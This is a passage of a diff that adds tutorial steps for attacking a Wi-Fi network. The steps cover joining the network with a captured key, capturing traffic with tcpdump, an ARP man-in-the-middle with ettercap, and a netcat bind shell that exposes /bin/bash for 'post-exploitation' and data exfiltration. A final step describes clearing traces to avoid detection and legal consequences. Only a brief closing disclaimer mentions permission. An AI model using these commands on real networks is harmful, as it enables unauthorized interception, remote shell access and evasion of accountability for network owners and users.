561
+
562
+ ```bash
563
+ iwconfig wlan0 essid [Network SSID] key [Network Password]
564
+ dhclient wlan0
565
+ ```
566
+
567
+ 6. **Network Exploitation**: Once connected, you can perform further attacks, such as sniffing traffic (`tcpdump`), or launching a man-in-the-middle attack using tools like `ettercap` or `arpspoof`.
568
+
569
+ ```bash
570
+ tcpdump -i wlan0 -w [Packet Capture File]
571
+ ettercap -T -i [Interface] -M arp [Target IP]
572
+ ```
573
+
574
+ 7. **Post-Exploitation**: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
575
+
576
+ ```bash
577
+ nc -lvp [Local Port] -e /bin/bash
578
+ ```
579
+
580
+ 8. **Cleanup**: Remember to clean up any traces of your activities to avoid detection and legal consequences.
581
+
582
+ ```bash
583
+ airmon-ng stop wlan0mon
584
+ ```
585
+
586
+ Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.
587
+
588
+